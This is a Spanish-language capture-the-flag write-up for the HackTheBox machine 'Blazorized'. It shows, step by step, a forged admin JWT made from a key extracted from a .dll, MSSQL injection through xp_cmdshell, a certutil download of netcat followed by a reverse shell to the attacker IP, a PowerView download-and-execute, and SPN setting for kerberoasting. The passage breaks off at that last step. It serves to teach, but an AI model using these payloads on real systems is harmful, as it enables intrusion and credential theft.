Blazorized – HackTheBox Link to heading

  • OS: Windows
  • Difficulty / Dificultad: Hard / Difícil
  • Platform: HackTheBox

‘Blazorized’ Avatar


Resumen Link to heading

“Blazorized” es una máquina de dificultad Difícil de la plataforma HackTheBox. La máquina víctima se encuentra corriendo un servidor web. Luego de inspeccionar su código fuente, somos capaces de encontrar y extraer archivos .dll. Luego de aplicar un poco de ingeniería inversa sobre estos archivos, somos capaces de encontrar la firma para generar Jason Web Tokens (JWT) y generar así un token para un sitio de administrador. Este sitio de administrador tiene un panel vulnerable a SQL Injection, lo cual también nos permite ejecutar comandos; ganando así acceso inicial a la máquina víctima. Una vez dentro de la máquina víctima, somos capaces de encontrar un usuario kerberosteable, extraer su hash, crackearlo y obtener su contraseña. Este usuario puede ejecutar archivos en un directorio que se encuentra ejecutando scripts .bat; de manera que podemos agregar un script malicioso y ganar acceso como un nuevo usuario. Este nuevo usuario final puede performar un ataque DCSync, pudiendo así extraer el hash NTLM del usuario Administrator y ganar así total control sobre la máquina víctima.


User / Usuario Link to heading

Empezamos con un escaneo con Nmap para ver los puertos abiertos usando protocolo TCP:

❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.10.11.22

y aplicando algunos escaneos de reconocimiento con la flag -sVC sobre estos puertos:

❯ sudo nmap -sVC -p53,80,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49673,49674,49675,49680,49683,49707,49776 10.10.11.22 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-21 20:50 -04
Nmap scan report for 10.10.11.22
Host is up (0.25s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://blazorized.htb
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-22 00:50:20Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2022 16.00.1115.00; RC0+
| ms-sql-info:
|   10.10.11.22\BLAZORIZED:
|     Instance name: BLAZORIZED
|     Version:
|       name: Microsoft SQL Server 2022 RC0+
|       number: 16.00.1115.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RC0
|       Post-SP patches applied: true
|     TCP port: 1433
|_    Clustered: false
| ms-sql-ntlm-info:
|   10.10.11.22\BLAZORIZED:
|     Target_Name: BLAZORIZED
|     NetBIOS_Domain_Name: BLAZORIZED
|     NetBIOS_Computer_Name: DC1
|     DNS_Domain_Name: blazorized.htb
|     DNS_Computer_Name: DC1.blazorized.htb
|     DNS_Tree_Name: blazorized.htb
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-07-22T00:46:19
|_Not valid after:  2054-07-22T00:46:19
|_ssl-date: 2024-07-22T00:51:31+00:00; +2s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
49683/tcp open  msrpc         Microsoft Windows RPC
49707/tcp open  msrpc         Microsoft Windows RPC
49776/tcp open  ms-sql-s      Microsoft SQL Server 2022 16.00.1115.00; RC0+
|_ssl-date: 2024-07-22T00:51:31+00:00; +1s from scanner time.
| ms-sql-ntlm-info:
|   10.10.11.22:49776:
|     Target_Name: BLAZORIZED
|     NetBIOS_Domain_Name: BLAZORIZED
|     NetBIOS_Computer_Name: DC1
|     DNS_Domain_Name: blazorized.htb
|     DNS_Computer_Name: DC1.blazorized.htb
|     DNS_Tree_Name: blazorized.htb
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-07-22T00:46:19
|_Not valid after:  2054-07-22T00:46:19
| ms-sql-info:
|   10.10.11.22:49776:
|     Version:
|       name: Microsoft SQL Server 2022 RC0+
|       number: 16.00.1115.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RC0
|       Post-SP patches applied: true
|_    TCP port: 49776
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-07-22T00:51:21
|_  start_date: N/A
|_clock-skew: mean: 1s, deviation: 0s, median: 0s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.10 seconds

Podemos ver múltiples puertos abiertos: 53 Domain Name System, 80 HTTP, 88 Kerberos, 135 Microsoft RPC, 389 Lightweight Directory Access Protocol, 445 Server Message Block (SMB), 1433 Microsoft SQL Server, 5985 Windows Remote Management; entre muchos otros.

Del output del escaneo para el sitio HTTP en el puerto 80 podemos ver que redirige al dominio http://blazorized.htb. De manera que agregamos este dominio a nuestro archivo /etc/hosts:

❯ echo '10.10.11.22 blazorized.htb' | sudo tee -a /etc/hosts

Visitando http://blazorized.htb muestra una página web:

Blazorized 1

Podemos ver la sección Check for Updates en el lado izquierdo. Clickeando en estra redirige a http://blazorized.htb/check-updates:

Blazorized 2

La misma página dice que ésta se encuentra en fase de pruebas/alfa, donde sólo un admin puede hacer llamados a una API. La misma página dice que clickeando en el botón Check for Updates permite impersonar, de manera segura, al usuario administrador. Sin embargo, si clickeamos en esta opción la página nos devuelve un error:

❌ Failed to Update Blazorized's Content!

Para ver qué es lo que sucede cuando clickeamos en Check for Updates interceptamos la petición con Burpsuite. Haciendo esto interceptamos la siguiente petición:

OPTIONS /posts HTTP/1.1
Host: api.blazorized.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Access-Control-Request-Method: GET
Access-Control-Request-Headers: authorization
Referer: http://blazorized.htb/
Origin: http://blazorized.htb
DNT: 1
Connection: close

Está llamando al subdominio api.blazorized.htb. Agregamos este nuevo subdominio a nuestro archivo /etc/hosts; de manera que éste se ve ahora como:

❯ tail -n1 /etc/hosts

10.10.11.22 blazorized.htb api.blazorized.htb

Una vez agregado, si clickeamos en Check for Updates el mensaje mostrado cambia. Ahora la petición tiene éxito (como se puede ver en la parte inferior derecha):

✅ Successfully Updated Blazorized's Content!

Blazorized3

Notamos que al hacer click, la parte izquierda de la página cambia. El contenido mostrado es nuevo, pero no muestra nada de información interesante/sensible. Sólo tópicos relacionados a Ciberseguridad (Red/Blue Teaming), algunos papers y otras cosillas:

Blazorized 4

Ya en este punto decidimos buscar por vhosts. Para ello usamos ffuf:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://blazorized.htb/ -H 'Host: FUZZ.blazorized.htb' -t 50 -fs 144

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://blazorized.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.blazorized.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 50
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 144
________________________________________________

admin                   [Status: 200, Size: 2072, Words: 149, Lines: 28, Duration: 176ms]
:: Progress: [19966/19966] :: Job [1/1] :: 255 req/sec :: Duration: [0:01:23] :: Errors: 0 ::

Encontramos un nuevo subdominio: admin.blazorized.htb

Agregamos, nuevamente, este subdominio a nuestro archivo /etc/hosts:

❯ tail -n1 /etc/hosts

10.10.11.22 blazorized.htb api.blazorized.htb admin.blazorized.htb

Sólo por curiosidad -esto es irrelevante en el WriteUp-, reviso qué es lo que sucede con el subdominio http://api.blarozied.htb, dado que éste no fue encontrado por el escaneo con ffuf. Revisamos el dominio con cURL junto con los headers de la petición con -I:

❯ curl -I http://api.blazorized.htb

HTTP/1.1 404 Not Found
Transfer-Encoding: chunked
Server: Microsoft-IIS/10.0
Date: Mon, 22 Jul 2024 01:31:04 GMT

Retorna código 404, lo cual es curioso.

Visitando http://admin.blarozied.htb muestra un nuevo panel de login:

Blazorized 5

Pruebo algunas cosas como credenciales por defecto, ataques sencillos y otras cosas, pero no pasa nada. De manera que volveremos a este sitio más tarde.

Revisando el código fuente de, por ejemplo, http://blazorized.htb/post/1c391f9c-fd3e-4d86-b966-9a3e5d7e3d28 muestra:

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
        <title>Mozhar's Digital Garden</title>
        <base href="/" />
        <link rel="icon" type="image/png" href="icon-192.png" />
        <link href="_content/MudBlazor/MudBlazor.min.css" rel="stylesheet" />
        <link href="_content/MudBlazor.Markdown/MudBlazor.Markdown.min.css" rel="stylesheet" />
        <link href="Blazorized.DigitalGarden.styles.css" rel="stylesheet"/>
    </head>

    <body style="min-height:100vh;display:flex;flex-direction:column">
        <div id="app">
            <h1 style="text-align:center;position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)">
                Please Wait, Loading...
            </h1>
        </div>
        <div id="blazor-error-ui">
            An unhandled error has occurred.
            <a href="" class="reload">Reload</a>
            <a class="dismiss">🗙</a>
        </div>
        <script src="_framework/blazor.webassembly.js"></script>
        <script src="_content/MudBlazor/MudBlazor.min.js"></script>
        <script src="_content/MudBlazor.Markdown/MudBlazor.Markdown.min.js"></script>
        <footer style="margin-top:auto">
            <span style="display:block;text-align:center;font-size:20px;">
                Built with ❤️ using Blazor WebAssembly
            </span>
        </footer>
    </body>
</html>

El texto muestra que está usando MudBlazor. Una rápida búsqueda de internet nos lleva a MudBlazor - Blazor Component Library:

Información
Mudblazor is a Blazor Component Library based on Material Design. MudBlazor is easy to use and extend, especially for .NET devs because it uses almost no Javascript.

Es una libreríia para Blazor.

De manera que buscando por what is blazor ("¿qué es blazor?") encontramos:

Información
Blazor is a feature of ASP.NET for building interactive web UIs using C# instead of JavaScript. It’s real .NET running in the browser on WebAssembly.

Es una herramienta que nos permite crear web de interfaz para usuarios usando C# en lugar de Javascript (que es el lenguaje que ocupan la gran mayoría de la competencia).

Además, este corto video es especialmente interesante para saber qué hace Blazor. Recomiendo echarle una ojeadita.

Basados, además, en el nombre de la máquina (lo cual siempre da una pista de cómo resolverla) está relacionada a Blazor. Del código fuente podemos ver un directorio _framework/blazor.webbassembly.js. El código en sí no es muy bonito, de manera que podemos usar una página como https://beautifier.io/ para embellecerlo. Luego de analizar el código (que es la parte “tediosa” de esta máquina) hay una porción de código la cual se ve como:

<SNIP>
class at {
        constructor(e, t) {
            this.bootConfig = e, this.applicationEnvironment = t
        }
        static async initAsync(e, t) {
            const n = void 0 !== e ? e("manifest", "blazor.boot.json", "_framework/blazor.boot.json", "") : a("_framework/blazor.boot.json");
            let r;
            r = n ? "string" == typeof n ? await a(n) : await n : await a("_framework/blazor.boot.json");
            const o = t || r.headers.get("Blazor-Environment") || "Production",
                s = await r.json();
            return s.modifiableAssemblies = r.headers.get("DOTNET-MODIFIABLE-ASSEMBLIES"), s.aspnetCoreBrowserTools = r.headers.get("ASPNETCORE-BROWSER-TOOLS"), new at(s, o);

            function a(e) {
                return fetch(e, {
                    method: "GET",
                    credentials: "include",
                    cache: "no-cache"
                })
            }
        }
    }
<SNIP>

donde _framework/blazor.boot.json se ve interesante.

Visitando http://blazorized.htb/_framework/blazor.boot.json usando cURL muestra información:

{
  "cacheBootResources": true,
  "config": [],
  "debugBuild": false,
  "entryAssembly": "Blazorized.DigitalGarden",
  "icuDataMode": 0,
  "linkerEnabled": true,
  "resources": {
    "assembly": {
      "Blazored.LocalStorage.dll": "sha256-5V8ovY1srbIIz7lzzMhLd3nNJ9LJ6bHoBOnLJahv8Go=",
      "Blazorized.DigitalGarden.dll": "sha256-YH2BGBuuUllYRVTLRSM+TxZtmhmNitErmBqq1Xb1fdI=",
      "Blazorized.Shared.dll": "sha256-Bz/iaIKjbUZ4pzYB1LxrExKonhSlVdPH63LsehtJDqY=",
<SNIP>
    },
    "extensions": null,
    "lazyAssembly": {
      "Blazorized.Helpers.dll": "sha256-ekLzpGbbVEn95uwSU2BGWpjosCK/fqqQRjGFUW0jAQQ="
    },
    "libraryInitializers": null,
    "pdb": null,
    "runtime": {
      "dotnet.7.0.15.x46e81vra7.js": "sha256-MHuxwxeVFybuBBTAWeZrvoStZpW+H4ThSaRcFvrfqXM=",
      "dotnet.timezones.blat": "sha256-aHk3Pm2JXopn6UPLJtovAqIdIk8GyIMzGm450cli9UE=",
      "dotnet.wasm": "sha256-fMuaMGy/7q8rXL+GyH9Gu04mJDwQ/OSYXD9ezf+Fz4k=",
      "icudt_CJK.dat": "sha256-SZLtQnRc0JkwqHab0VUVP7T3uBPSeYzxzDnpxPpUnHk=",
      "icudt_EFIGS.dat": "sha256-8fItetYY8kQ0ww6oxwTLiT3oXlBwHKumbeP2pRF4yTc=",
      "icudt_no_CJK.dat": "sha256-L7sV7NEYP37/Qr2FPCePo5cJqRgTXRwGHuwF5Q+0Nfs=",
      "icudt.dat": "sha256-tO5O5YzMTVSaKBboxAqezOQL9ewmupzV2JrB5Rkc8a4="
    },
    "runtimeAssets": {
      "dotnet.wasm": {
        "behavior": "dotnetwasm",
        "hash": "sha256-fMuaMGy/7q8rXL+GyH9Gu04mJDwQ/OSYXD9ezf+Fz4k="
      }
    },
    "satelliteResources": null
  }
}

Hay algunos nombres de archivo .dll. Dado que, como se dijo, Blazor funciona con C# puede que éstos contengan algo interesante.

Basados en esta documentación, Blazored.LocalStorage.dll muestra algo de nuestro interés:

Información
The Blazor.LocalStorage package consumes the Blazor.SourceGenerators package. It exposes a source generated IStorageService interface specific to Blazor WebAssembly and the localStorage Web API.

Recordemos que el sitio estaba haciendo una petición a api.blazorized.htb como admin, de manera que es posible que las credenciales se hallen dentro de estos recursos. Para ello necesitamos descargar estos recursos/archivos. Luego de buscar estos archivos, podemos encontrar uno en http://blazorized.htb/_framework/Blazored.LocalStorage.dll. Podemos descargar este archivo simplemente visitando esta url en un navegador de internet como Firefox.

Pasamos este archivo .dll a una máquina Windows y lo analizamos usando dnSpy. Podemos ver el repositorio que se está usando:

Blazorized 6

Podemos ver el repositorio https://github.com/Blazored/LocalStorage.

Información
Blazored LocalStorage is a library that provides access to the browsers local storage APIs for Blazor applications. An additional benefit of using this library is that it will handle serializing and deserializing values when saving or retrieving them.
En corto, es una librería para Blazor que nos permite lidiar con los accesos para APIs.

El único problema es que nosotros estamos buscando credenciales/información sensible en este archivo .dll, pero no vemos nada tristemente. Inspeccionamos entonces los otros archivos .dll mencionados en http://blazorized.htb/_framework/blazor.boot.json.

Eventualmente, el archivo Blazorized.Helpers.dll (descargable al visitar el link http://blazorized.htb/_framework/Blazorized.Helpers.dll) muestra algo:

Blazorized 7

Encontramos una llave de seguridad (o firma) para un Jason Web Token en Blazorized.Helpers -> JWT:

8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a

Además, una porción del código muestra:

<SNIP>
public static class JWT
	{
		// Token: 0x06000008 RID: 8 RVA: 0x00002164 File Offset: 0x00000364
		private static SigningCredentials GetSigningCredentials()
		{
			SigningCredentials result;
			try
			{
				result = new SigningCredentials(new SymmetricSecurityKey(Encoding.UTF8.GetBytes(JWT.jwtSymmetricSecurityKey)), "HS512");
			}
			catch (Exception)
			{
				throw;
			}
			return result;
		}
<SNIP>

y

// Token: 0x04000007 RID: 7
		private static readonly string superAdminEmailClaimValue = "superadmin@blazorized.htb";

		// Token: 0x04000008 RID: 8
		private static readonly string postsPermissionsClaimValue = "Posts_Get_All";

		// Token: 0x04000009 RID: 9
		private static readonly string categoriesPermissionsClaimValue = "Categories_Get_All";

		// Token: 0x0400000A RID: 10
		private static readonly string superAdminRoleClaimValue = "Super_Admin";

		// Token: 0x0400000B RID: 11
		private static readonly string issuer = "http://api.blazorized.htb";

		// Token: 0x0400000C RID: 12
		private static readonly string apiAudience = "http://api.blazorized.htb";

		// Token: 0x0400000D RID: 13
		private static readonly string adminDashboardAudience = "http://admin.blazorized.htb";

Notemos 2 cosas antes de continuar. Tenemos 2 funciones en este código. Una llamada GenerateTemporaryJWT la cual es:

public static string GenerateTemporaryJWT(long expirationDurationInSeconds = 60L)
		{
			string result;
			try
			{
				List<Claim> list = new List<Claim>
				{
					new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", JWT.superAdminEmailClaimValue),
					new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", JWT.postsPermissionsClaimValue),
					new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", JWT.categoriesPermissionsClaimValue)
				};
				string text = JWT.issuer;
				string text2 = JWT.apiAudience;
				IEnumerable<Claim> enumerable = list;
				SigningCredentials signingCredentials = JWT.GetSigningCredentials();
				DateTime? dateTime = new DateTime?(DateTime.UtcNow.AddSeconds((double)expirationDurationInSeconds));
				JwtSecurityToken jwtSecurityToken = new JwtSecurityToken(text, text2, enumerable, null, dateTime, signingCredentials);
				result = new JwtSecurityTokenHandler().WriteToken(jwtSecurityToken);
			}
			catch (Exception)
			{
				throw;
			}
			return result;
		}

que genera, como su nombre lo dice, un JWT temporal; y tenemos otra función llamada GenerateSuperAdminJWT:

public static string GenerateSuperAdminJWT(long expirationDurationInSeconds = 60L)
		{
			string result;
			try
			{
				List<Claim> list = new List<Claim>
				{
					new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", JWT.superAdminEmailClaimValue),
					new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", JWT.superAdminRoleClaimValue)
				};
				string text = JWT.issuer;
				string text2 = JWT.adminDashboardAudience;
				IEnumerable<Claim> enumerable = list;
				SigningCredentials signingCredentials = JWT.GetSigningCredentials();
				DateTime? dateTime = new DateTime?(DateTime.UtcNow.AddSeconds((double)expirationDurationInSeconds));
				JwtSecurityToken jwtSecurityToken = new JwtSecurityToken(text, text2, enumerable, null, dateTime, signingCredentials);
				result = new JwtSecurityTokenHandler().WriteToken(jwtSecurityToken);
			}
			catch (Exception)
			{
				throw;
			}
			return result;
		}

Que genera lo que parece ser un token para un adminsitrador.

Lo que trataremos entonces es tratar de “replicar” el código que genera este token para crear un nuevo token SuperAdmin. Basados en la porción de código anterior, para crear un nuevo token “privilegiado” éste requiere de los siguientes items:

  1. An email (superadmin@blazorized.htb)
  2. A user (Super_Admin)
  3. An issuer (http://api.blazorized.htb)
  4. An audience (http://admin.blazorized.htb)

Creamos entonces un simple script Python para generar el token usando la “secret key” hallada junto con los campos requeridos:

#!/usr/bin/python3
import jwt
import datetime


# Set parameters found
jwt_symmetric_security_key = "8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a"
super_admin_user = 'Super_Admin'
super_admin_email_claim_value = "superadmin@blazorized.htb"
posts_permissions_claim_value = "Posts_Get_All"
categories_permissions_claim_value = "Categories_Get_All"
issuer = "http://api.blazorized.htb"
audience = "http://admin.blazorized.htb"


def generate_temporary_jwt(expiration_duration_in_seconds=60):
    """
    Create the temporal token
    """
    expiration_time = datetime.datetime.utcnow() + datetime.timedelta(seconds=expiration_duration_in_seconds)
    claims = {
        "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress": super_admin_email_claim_value,
        "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": super_admin_user,
        "iss": issuer,
        "aud": audience,
        "exp": expiration_time
    }
    token = jwt.encode(claims, jwt_symmetric_security_key, algorithm="HS512")
    return token


if __name__ == "__main__":
    jwt_token = generate_temporary_jwt()
    print(jwt_token)

Si lo ejecutamos el script nos genera un token:

❯ python3 generate_JWT_token.py

eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJzdXBlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiU3VwZXJfQWRtaW4iLCJpc3MiOiJodHRwOi8vYXBpLmJsYXpvcml6ZWQuaHRiIiwiYXVkIjoiaHR0cDovL2FkbWluLmJsYXpvcml6ZWQuaHRiIiwiZXhwIjoxNzIxNjIyMTkyfQ.odLhTL_xCynUd24s78wRnyg18N1D9wF2F5jmyCBqgs8WJ3-BfhfHPrqO4h2OqFyjlFBjDy0xUX37y0dLELdefA

Sólo para reviar si esto ha funcionado, podemos revisar el JWT generado en https://jwt.io/:

Blazorized 8

Continuemos. La parte “audience” en un JWT muestra las páginas para el cual el JWT está destinado para usarse. Es usado para asegurarse de que el token sólamente es aceptado por la “audiencia” (audience); que en este caso en específico es http://admin.blazorized.htb. De maner que, basado en aquello, asumimos que el token generado es útil para el sitio web http://admin.blazorized.htb hallado previamente. Notemos además que la duración del token es de tan sólo 60 segundos, así que al generar el token tendremos apenas 1 minuto para usarlo (basados en la variable expiration_duration_in_seconds en el script). Si este no funciona debemos de re-generar un nuevo token.

(Otra manera sería aumentar el tiempo de expiración del token de 60 a un valor mucho mayor en el script, pero eso honestamente no lo probé. Lo dejo como tarea para el lector)

Luego de generar el token, en un navegador de internet como Firefox, vamos a http://admin.blarozized.htb, luego vamos al Storage (Ctrl + Shift + I), luego Local Storage y agregamos (clickeando en el símbolo +) nuevos datos a almacenar. Como nombre (key) pongo jwt, y como valor (value) pongo el JWT por nuestro script de Python:

Blazorized 9

Recargamos la página y estamos dentro:

Blazorized 10

…La página da una gran sugerencia

Al lado izquierdo de la página hay una herramienta de búsqueda en Check Duplicate Post Titles. Clickeando en éste muestra:

Blazorized 11

Recordemos que esta máquina se encontraba corriendo un servicio Microsoft SQL Server (MSSQL). De manera que este buscador puede estar usando ese servicio.

Luego de intentar muchas cosas, y dado que está usando una base de datos SQL, intentamos algunas SQL Injections. Para ello empezamos un listener por trazas ICMP en nuestra máquina de atacante usando tcpdump:

❯ sudo tcpdump -ni tun0 icmp

Finalmente, una de las inyecciones funciona (basados en payloads de PayloadAllTheThings):

';exec master..xp_cmdshell "ping -n 1 10.10.16.3" --+

Blazorized 12

Y obtenemos algo en nuestro listener:

❯ sudo tcpdump -ni tun0 icmp

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
00:52:11.744937 IP 10.10.11.22 > 10.10.16.3: ICMP echo request, id 1, seq 415, length 40
00:52:11.744948 IP 10.10.16.3 > 10.10.11.22: ICMP echo reply, id 1, seq 415, length 40

Tenemos ejecución remota de comandos.

Por tanto, para enviarnos una reverse shell, pasaremos un binario de netcat para Windows a la máquina víctima. Primero, empezamos un servidor temporal Python HTTP en el puerto 8000 en nuestra máquina de atacantes ejecutando:

❯ ls && python3 -m http.server 8000

generate_JWT_token.py  nc64.exe
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Usamos la herramienta certutil en la máquina víctima corriendo en la terminal de búsqueda la inyección:

';exec master..xp_cmdshell "C:\Windows\System32\cmd.exe /c certutil.exe -urlcache -split -f http://10.10.16.3:8000/nc64.exe C:\Users\Public\Downloads\nc.exe" --+

donde 10.10.16.3 es nuestra IP de atacantes.

Luego, en nuestra máquina de atacantes, empezamos un listener con netcat en el puerto 443 junto con rlwrap:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...

Finalmente, ejecutamos el binario de netcat transferido para enviarnos una reverse shell inyectando el comando:

';exec master..xp_cmdshell "C:\Users\Public\Downloads\nc.exe 10.10.16.3 443 -e C:\Windows\System32\cmd.exe" --+

y obtenemos una shell como el usuario nu_1055:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.22] 60850
Microsoft Windows [Version 10.0.17763.5936]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
blazorized\nu_1055

Podemos leer la flag de usuario en el directorio Desktop de este usuario.


NT Authority/System - Administrador Link to heading

Notamos que este usuario es parte del grupo Normal_Users:

PS C:\Users\Public\Downloads> net user nu_1055

net user nu_1055
User name                    NU_1055
Full Name                    NU_1055
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/25/2024 12:55:06 PM
Password expires             Never
Password changeable          2/26/2024 12:55:06 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile                 C:\Users\NU_1055
Home directory               C:\Users\NU_1055
Last logon                   7/22/2024 12:16:53 AM

Logon hours allowed          All

Local Group Memberships      *IIS_IUSRS            *Remote Management Use
Global Group memberships     *Normal_Users         *Domain Users
The command completed successfully.

Pero no veo nada más interesante.

Cambiamos de una CMD a una Powershell (simplemente escribimos el comando powershell) y, luego, subimos el script PowerView.ps1 (el cual puede ser descargado desde su repositorio de Github) a la máquina objetivo. En neustra máquina de atacantes exponemos PowerView.ps1 con python3 -m http.server 8000 y luego ejecutamos en la máquina víctima:

PS C:\Users\Public\Downloads> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.3:8000/PowerView.ps1')

Una vez importada este script podemos ver si podemos hacer algún usuario kerberosteable. Hay un usuario el cual nos lo permite llamado RSA_4810:

PS C:\Users\Public\Downloads> Set-DomainObject -Identity RSA_4810 -SET @{serviceprincipalname='htb/gunzf0x'}

Set-DomainObject -Identity RSA_4810 -SET @{serviceprincipalname='htb/gunzf0x'}

